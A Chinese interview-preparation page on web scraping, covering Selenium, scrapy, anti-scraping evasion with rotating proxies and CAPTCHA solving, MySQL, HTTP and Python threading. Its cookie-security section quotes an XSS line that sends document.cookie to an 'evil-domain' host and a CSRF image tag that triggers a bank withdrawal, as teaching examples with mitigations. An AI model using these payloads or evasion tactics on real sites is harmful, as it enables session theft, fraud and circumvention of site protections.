zoukankan      html  css  js  c++  java
  • 爬虫面试

    谈一谈你对 Selenium的了解

      Selenium是一个Web 的自动化测试工具,可以根据我们的指令,让浏览器自动加载页面,获取需要的数据,甚至页面截屏,或者判断网站上某些动作是否发生。
      Selenium 自己不带浏览器,不支持浏览器的功能,它需要与第三方浏览器结合在一起才能使用。但是我们有时候需要让它内嵌在代码中运行,Selenium库里有个叫 WebDriver 的API。
      WebDriver 有点儿像可以加载网站的浏览器,但是它也可以像BeautifulSoup 或者其他Selector 对象一样用来查找页面元素,与页面上的元素进行交互 (发送文本、点击等),以及执行其他动作来运行网络爬虫。

    动态加载又对及时性要求很高怎么处理

      浏览器 打开你网页,右键查看页面源代码,ctrl +F 查询输入内容,源代码里面并没有这个值,说明是动态加载数据。

      selenium+Googlechormedriver

      尽量不使用 sleep 而使用 WebDriverWait

    你遇到的反爬虫策略有哪些?及应对策略有什么?

      模拟浏览器、欺骗浏览器:header

      基于用户行为的反爬虫:代理IP

      动态网页反爬虫:爬取的数据是通过ajax请求得到,或者通过JavaScript生成的

      对部分数据进行加密处理:

    分布式爬虫原理

      scrapy-redis实现分布式,其实从原理上来说很简单,把自己的核心服务器称为 master,而把用于跑爬虫程序的机器称为 slave。

      采用 scrapy 框架抓取网页,我们需要首先给定它一些 start_urls,爬虫首先访问 start_urls里面的 url,再根据我们的具体逻辑,对里面的元素、或者是其他的二级、三级页面进行抓取。而要实现分布式,我们只需要在这个 starts_urls 里面做文章就行了。

      我们在 master 上搭建一个 redis 数据库(注意这个数据库只用作 url 的存储,不关心爬取的具体数据,不要和后面的 mongodb 或者 mysql 混淆),并对每一个需要爬取的网站类型,都开辟一个单独的列表字段。

      通过设置 slave 上 scrapy-redis 获取 url 的地址为 master 地址。这样的结果就是,尽管有多个 slave,然而大家获取 url 的地方只有一个,那就是服务器 master 上的 redis 数据库。

      并且,由于 scrapy-redis 自身的队列机制,slave 获取的链接不会相互冲突。这样各个 slave 在完成抓取任务之后,再把获取的结果汇总到服务器上(这时的数据存储不再在是 redis,而是 mongodb 或者mysql等存放具体内容的数据库了)

      这种方法的还有好处就是程序移植性强,只要处理好路径问题,把 slave 上的程序移植到另一台机器上运行,基本上就是复制粘贴的事情。

     

    MySQL中的inner join和left join的区别  

      INNER JOIN(内连接):取得两个表中存在连接匹配关系的记录。 
           LEFT JOIN(左连接):取得左表(table1)完全记录,即是右表(table2)并无对应匹配记录。 
           扩展:RIGHT JOIN(右连接):与 LEFT JOIN 相反,取得右表(table2)完全记录,即是左表(table1)并无匹配对应记录。

    mysql的索引在什么情况下失效 

    • 1.如果条件中有or,即使其中有条件带索引也不会使用(这也是为什么尽量少用or的原因)
      要想使用or,又想让索引生效,只能将or条件中的每个列都加上索引
    • 2.对于多列索引,不是使用的第一部分,则不会使用索引
    • 3.like查询以%开头
    • 4.如果列类型是字符串,那一定要在条件中将数据使用引号引用起来,否则不使用索引
    • 5.如果mysql估计使用全表扫描要比使用索引快,则不使用索引

    MySQL 有什么引擎,各引擎之间有什么区别 

      主要 MyISAM 与 InnoDB 两个引擎,其主要区别如下:

    • 1、InnoDB 支持事务,MyISAM 不支持,这一点是非常之重要。事务是一种高级的处理方式,如在一些列增删改中只要哪个出错还可以回滚还原,而 MyISAM就不可以了;
    • 2、MyISAM 适合查询以及插入为主的应用,InnoDB 适合频繁修改以及涉及到安全性较高的应用;
    • 3、InnoDB 支持外键,MyISAM 不支持;
    • 4、MyISAM 是默认引擎,InnoDB 需要指定;
    • 5、InnoDB 不支持 FULLTEXT 类型的索引;
    • 6、InnoDB 中不保存表的行数,如 select count() from table 时,InnoDB;需要扫描一遍整个表来计算有多少行,但是 MyISAM 只要简单的读出保存好的行数即可。注意的是,当 count()语句包含 where 条件时 MyISAM 也需要扫描整个表;
    • 7、对于自增长的字段,InnoDB 中必须包含只有该字段的索引,但是在 MyISAM表中可以和其他字段一起建立联合索引;
    • 8、清空整个表时,InnoDB 是一行一行的删除,效率非常慢。MyISAM 则会重建表;
    • 9、InnoDB 支持行锁(某些情况下还是锁整表,如 update table set a=1 where user like '%lee%'

    robots协议是什么

      Robots协议(也称为爬虫协议、爬虫规则、机器人协议等)也就是robots.txt,网站通过robots协议告诉搜索引擎哪些页面可以抓取,哪些页面不能抓取。

      Robots协议是网站国际互联网界通行的道德规范,其目的是保护网站数据和敏感信息、确保用户个人信息和隐私不被侵犯。因其不是命令,故需要搜索引擎自觉遵守。

    scrapy的基本结构(五个部分)都是什么?,请求发出去的整个流程

      scrapy由Spider、Engine、Scheduler、Downloader、Item Pipline五个部分组成。发送请求主要由如下几个步骤:  

    1. 首先Spiders(爬虫)将需要发送请求的url(requests)到Engine(引擎)。
    2. Engine(引擎)把request交给Scheduler(调度器)。
    3. Scheduler经过排序,入队处理后,重新把request发送到Engine。
    4. Engine把request请求通过DownloaderMiddlewares(可选,主要有User_Agent, Proxy代理)交给Downloader(下载器)。
    5. Downloader向网站发送请求,并接受下载响应(Response),将Response返回给Engine。
    6. Response由Engine,经过SpiderMiddlewares(可选)发送到Spiders开始解析。
    7. 解析数据完成后,将所需的Items原路返回到Engine。
    8. Engine将Items发送到ItemPipeline(可以是本地,可以是数据库),提取下一个url再次进行循环。

    Scrapy优缺点 

    优点:

      scrapy 是异步的  

      采取可读性更强的xpath代替正则  

      强大的统计和log系统  

      同时在不同的url上爬行  

      支持shell方式,方便独立调试  

      写middleware,方便写一些统一的过滤器  

      通过管道的方式存入数据库

    缺点:基于python的爬虫框架,扩展性比较差  

      基于twisted框架,运行中的exception是不会干掉reactor,并且异步框架出错后是不会停掉其他任务的,数据出错后难以察觉。

    scrapy 框架运行的机制

      从start_urls里获取第一批url并发送请求,请求由引擎交给调度器入请求队列,获取完毕后,调度器将请求队列里的请求交给下载器去获取请求对应的响应资源,并将响应交给自己编写的解析方法做提取处理:

    1. 如果提取出需要的数据,则交给管道文件处理;
    2. 如果提取出url,则继续执行之前的步骤(发送url请求,并由引擎将请求交给调度器入队列...),直到请求队列里没有请求,程序结束。

    scrapy的去重原理 (指纹去重到底是什么原理)

      对于每一个url的请求,调度器都会根据请求得相关信息加密得到一个指纹信息,并且将指纹信息和set()集合中的指纹信息进行比对,如果set()集合中已经存在这个数据,就不在将这个Request放入队列中。如果set()集合中没有存在这个加密后的数据,就将这个Request对象放入队列中,等待被调度。

    scrapy中间件有几种类,你用过那些中间件

      Spider Middlewares 和 Downloader Middlewares两种

      将fake-useragent和IP代理集成到Middlewares中,使Spider在发送request时主动更换User-Agent和IP。

    scrapy中间件在哪里起的作用(面向切面编程)

      爬虫中间件Spider Middleware:主要功能是在爬虫运行过程中进行一些处理

      下载器中间件Downloader Middleware:主要功能在请求到网页后,页面被下载时进行一些处理

    如何处理封IP的反爬

      起先是自己写了一个IP代理池,从免费代理平台上爬取可用的IP,但由于数量太少,选择了付费代理。

      通过使用平台的api在本地动态维护一个IP缓存池来供给分布式架构的爬虫节点使用。这个缓存池不需要做IP有效性验证,因为我的爬虫若下载某个Request彻底失败后会把这个Request重新放回Request队列,而且选择一个好的代理平台可以大大提高代理IP质量。(快代理)

      缓存池的IP被取走一个,池中的数量就减少一个,当数量少于M时,再从平台获取N个。

     

    如何处理验证码

      简单的验证码可以通过预处理(灰度、二值化、去除干燥点)验证码图片再使用tesseract库来识别

      复杂一点的则接入付费平台识别

      如果这个目标网站的app端没有验证码的话,会优先通过app端爬取。

    爬取速度过快出现的验证码处理

      设置setting.py中的DOWNLOAD_DELAY,降低爬取速度

      用xpath获取验证码关键字,当出现验证码时,识别验证码后再继续运行

     

    模拟登陆的流程  

    1. 加载浏览器driver;
    2. 获取登录页面;
    3. 使用css选择器或者xpath找到账号和密码输入框,并发送账号和密码;
    4. 如果出现验证码则需要先识别验证码,在模拟输入验证码或者模拟鼠标拖动;
    5. 使用css选择器或者xpath找到登录按钮,使用click模拟点击;

    实现模拟登录的方式有哪些

      使用一个具有登录状态的 cookie,结合请求报头一起发送,可以直接发送 get 请求,访问登录后才能访问的页面

      先发送登录界面的 get 请求,在登录页面 HTML 里获取登录需要的数据(如果需要的话),然后结合账户密码,再发送 post 请求,即可登录成功。然后根据获取的 cookie信息,继续访问之后的页面

    cookie如何处理 

    1. 采用selenium自动登录获取cookie,保存到文件;
    2. 读取cookie,比较cookie的有效期,若过期则再次执行步骤1;
    3. 在请求其他网页时,填入cookie,实现登录状态的保持;

    处理网站传参加密的情况

    加密的三种情况:

    1. 加密+访问次数限制+每个页面相关信息的条目需要点详情进行二次请求;
    2. 复杂的加密算法进行参数+时间戳+sig值,后台进行 参数+时间限制;
    3. 定时同步cookie+每个界面一个cookie。

    破解方法:

    1. 使用selenium模拟点击获取详情页面;
    2. 获取其相应的api接口,GET接口URL,获取它的json表格内容;
    3. 反向分析网页JS加载内容;

    request

      request 是一个 HTTP 库, 它只是用来,进行请求,对于 HTTP 请求,他是一个强大的库,下载,解析全部自己处理,灵活性更高,高并发与分布式部署也非常灵活,对于功能可以更好实现。

    HTTPS 是如何实现安全传输数据的

    1. 客户端(通常是浏览器)先向服务器发出加密通信的请求
    2. 服务器收到请求,然后响应
    3. 客户端收到证书之后首先会进行验证
    4. 服务器收到使用公钥加密的内容,在服务器端使用私钥解密之后获得随机数pre-master secret,然后根据radom1、radom2、pre-master secret通过一定的算法得出session Key和MAC算法秘钥,作为后面交互过程中使用对称秘钥。同时客户端也会使用radom1、radom2、pre-master secret,和同样的算法生成session Key和MAC算法的秘钥。
    5. 然后再后续的交互中就使用session Key和MAC算法的秘钥对传输的内容进行加密和解密。

    http协议,请求由什么组成,每个字段分别有什么用,https和http有什么差距

    请求行(request line)、请求头部(header)、空行和请求数据四个部分组成:  

    1. 请求行,用来说明请求类型,要访问的资源以及所使用的HTTP版本;
    2. 请求头部,紧接着请求行(即第一行)之后的部分,用来说明服务器要使用的附加信息;
    3. 空行,请求头部后面的空行是必须的;
    4. 请求数据也叫主体,可以添加任意的其他数据;

    HTTPS和HTTP的区别主要如下:

    • https协议需要到ca申请证书,一般免费证书较少,因而需要一定费用。

    • http是超文本传输协议,信息是明文传输,https则是具有安全性的ssl加密传输协议。

    • http和https使用的是完全不同的连接方式,用的端口也不一样,前者是80,后者是443。

    • http的连接很简单,是无状态的;HTTPS协议是由SSL+HTTP协议构建的可进行加密传输、身份认证的网络协议,比http协议安全。

    Cookie和Session关系

    1. 都是为了实现客户端与服务端交互而产出

    2. Cookie是保存在客户端,缺点易伪造、不安全

    3. Session是保存在服务端,会消耗服务器资源

    4. Session实现有两种方式:Cookie和URL重写

    Cookie带来的安全性问题

    1. 会话劫持和XSS:在Web应用中,Cookie常用来标记用户或授权会话。因此,如果Web应用的Cookie被窃取,可能导致授权用户的会话受到攻击。常用的窃取Cookie的方法有利用社会工程学攻击和利用应用程序漏洞进行XSS攻击。(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;HttpOnly类型的Cookie由于阻止了JavaScript对其的访问性而能在一定程度上缓解此类攻击。

    2. 跨站请求伪造(CSRF):维基百科已经给了一个比较好的CSRF例子。比如在不安全聊天室或论坛上的一张图片,它实际上是一个给你银行服务器发送提现的请求:<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">当你打开含有了这张图片的HTML页面时,如果你之前已经登录了你的银行帐号并且Cookie仍然有效(还没有其它验证步骤),你银行里的钱很可能会被自动转走。解决CSRF的办法有:隐藏域验证码、确认机制、较短的Cookie生命周期等

    Python中的多线程

    进程是程序执行的最小单元,每个进程都有自己独立的内存空间,而线程是进程的一个实体,是系统调用调用的一个基本单位。

    线程是轻量级的,他没有独立的空间地址(内存空间),因为他是由进程创建的,寄存在进程的内存地址中。一个进程会包含多个线程(这就是我们今天说的多线程)

    线程的五种状态:

    1、新建状态:

        当一个线程被创建时就开始了它的生命周期,在启动线程之前他一直处于新建状态。

    2、就绪状态:

        当线程被启动时,由于还没有分配到cpu资源,该线程进入等待队列在等待另一个线程执行完(等待cpu服务),此时线程被称为就绪状态。

    3、运行状态:

        当处于就绪状态的线程被调用并获得cpu资源时,此时为运行状态。

    4、阻塞状态:

        一个正在执行的线程在某些情况下不得已让出cpu资源时,会中止自己的执行过程,这是被称为阻塞状态。值得注意的是:阻塞被消除后是回到就绪状态,不是运行状态。

    5、死亡状态:

        线程被终止、销毁、或执行完毕则进入死亡状态。不可再重新启动

    阻塞状态又分为三种情况:等待阻塞、同步阻塞、其他阻塞

    说到阻塞不得不提到一个‘锁’的概念

    多线程可以运行多个任务,很大程度上提高了我们程序的工作效率,但是面临一个非常致命的问题。

      如果有多个线程去操作同一个列表(这个列表被称为:共享数据),比如线程a要列表第一个元素的值加1,这个过程可以细分为3步:1.取出元素;2:元素加1;3:将最终的结果放入列表。

      那如果在a线程执行到第二步加1的时候线程b突然要读取列表 那么他读取到的列表仍然是没修改之前的内容。这并不是我们想要的.

        所以引进了锁的概念。当某个线程需要独占共享资源时,必须先上锁,这样别的线程就无法再操作。当操作完之后一定要将锁打开,别的线程才可以操作数据。

        在I/O密集型操作中,需要保持数据同步的时候需要加锁 保证资源同步。但同时因为其他线程面临阻塞,性能不可避免的会下降。

    同步阻塞:线程请求锁定的时候进入同步阻塞,一旦获得锁又变成运行状态。

    等待阻塞:是指等待其他线程通知的状态,线程获得条件锁定后,调用“等待”将进入这个状态,一旦其他线程发出通知,线程将进入同步状态,再次竞争条件锁定。

    其他阻塞:指线程sleep 、join或等待io时的阻塞。

    ##############模拟多窗口出售电影票的场景来理解阻塞和锁###############
    import threading
    # 库存电影票数量,为了使结果更加准确设置成10w
    num = 100000
    def thread(name):
       global num
       while num > 0:
           num -= 1
           print('%s出售 1 张电影票 === 剩余 %d 张电影票' % (name, num))
    
    # 三种售票途径
    businesses = ['美团', '淘票', '糯米']
    for i in businesses:
       # 创建线程
       t = threading.Thread(target=thread, args=(i,))
       # 启动线程
       t.start()
    

      

      通过分析控制台记录我们会发现,美团售票窗口一次性卖了好几百张票,糯米和淘票窗口的数据一直没有更新成最新的库存,导致明明没票了,缺还显示剩余很多。

      不仅仅是售票,生活中有很多这样的例子,比如抢购火车票,银行取钱等...都会有这种数据不同步的问题。解决这一问题的办法就是前面提到的‘锁’。 

    简单的讲美团在卖票的过程中,将库存进行锁定,在这期间糯米和淘票票不可以在操作,只能等待美团操作完将数据更新后,然后释放锁才可以继续操作。

    在threading模块中提供了一个获得线程锁的方法:

    threading.Lock() 

    import threading
    # 库存电影票数量,为了使结果更加准确设置成10w
    num = 100000
    lock = threading.Lock()
    def thread(name):
       global num
       while num > 0:
           # 加锁  这里一定要放在判断总量之前,
           # 不然会导致另外两个窗口最后会出现负数票的情况
           # 如果没有加锁就释放锁会导致报错,所以在while循环里又加了一层if判断
           lock.acquire()
           if num > 0:
               num -= 1
               print('%s出售 1 张电影票 === 剩余 %d 张电影票' % (name, num))
               # 释放锁
               lock.release()
           else:
               lock.release()
    
    # 三种售票途径
    businesses = ['美团', '淘票', '糯米']
    for i in businesses:
       # 创建线程
       t = threading.Thread(target=thread, args=(i,))
       # 启动线程
       t.start()

    其它常用方法:

    1、threading.Rlock()

            RLock允许在同一线程中被多次acquire。而Lock却不允许这种情况。注意:如果使用RLock,那么acquire和release必须成对出现,即调用了n次acquire,必须调用n次的release才能真正释放所占用的琐。

    2、threading.Condition()

            可以把Condition理解为一把高级的琐,它提供了比Lock, RLock更高级的功能,允许我们能够控制复杂的线程同步问题。threadiong.Condition在内部维护一个锁对象(默认是RLock),可以在创建Condigtion对象的时候把琐对象作为参数传入。Condition也提供了acquire, release方法,其含义与琐的acquire, release方法一致,其实它只是简单的调用内部琐对象的对应的方法而已。Condition还提供wait方法、notify方法、notifyAll方法(特别要注意:这些方法只有在占用琐(acquire)之后才能调用,否则将会报RuntimeError异常)

    3、threading.Semaphore和BoundedSemaphore

            Semaphore:Semaphore 在内部管理着一个计数器。调用 acquire() 会使这个计数器 -1,release() 则是+1(可以多次release(),所以计数器的值理论上可以无限).

      计数器的值永远不会小于 0,当计数器到 0 时,再调用 acquire() 就会阻塞,直到其他线程来调用release()

    4、join()
            如果一个线程在执行过程中要调用另外一个线程,并且等到其完成以后才能接着执行

    def my_thread(threadName):
      for i in range(10):
          print(' 线程 :' + threadName + '正在执行')
    
    # 启动线程
    # 方法名  方法参数,无参时空tuple
    # _thread.start_new_thread()
    t1 = threading.Thread(target=my_thread, args=('name1',))
    t2 = threading.Thread(target=my_thread, args=('name2',))
    
    ## t1 = _thread.start_new_thread(my_thread, ('name1',))
    # t2 = _thread.start_new_thread(my_thread, ('name2',))
    
    # 通过start方法 启动线程
    t1.start()
    t2.start()
    # 如果不加join 则Ending会在t1和t2没有执行完就会打印
    # 加了join之后 Ending会等待线程执行完毕之后才会打印
    t1.join()
    t2.join()
    print("Ending 。。。。。")

    5、isAlive

            isAlive 等价于 is_alive(self),用于判断线程是否运行。当线程没有调用start时,或者线程执行完毕处于死亡状态,isAlive()返回false。

    6、Daemon

            Python主程序当且仅当不存在非Daemon线程存活时退出。即:主程序等待所有非Daemon线程结束后才退出,且退出时会自动结束(很粗鲁的结束)所有Daemon线程。

  • 相关阅读:
    Base64编码字符串时数据量明显变大
    Javascript中的location.href有很多种用法
    javascript中top、clientTop、scrollTop、offsetTop的讲解
    jQuery事件绑定和委托
    手机页面滑动加载数据
    阻止冒泡
    页面刷新方法
    forward 和redirect的区别
    字符转换
    导出功能
  • 原文地址:https://www.cnblogs.com/jjb1997/p/11355307.html
Copyright © 2011-2022 走看看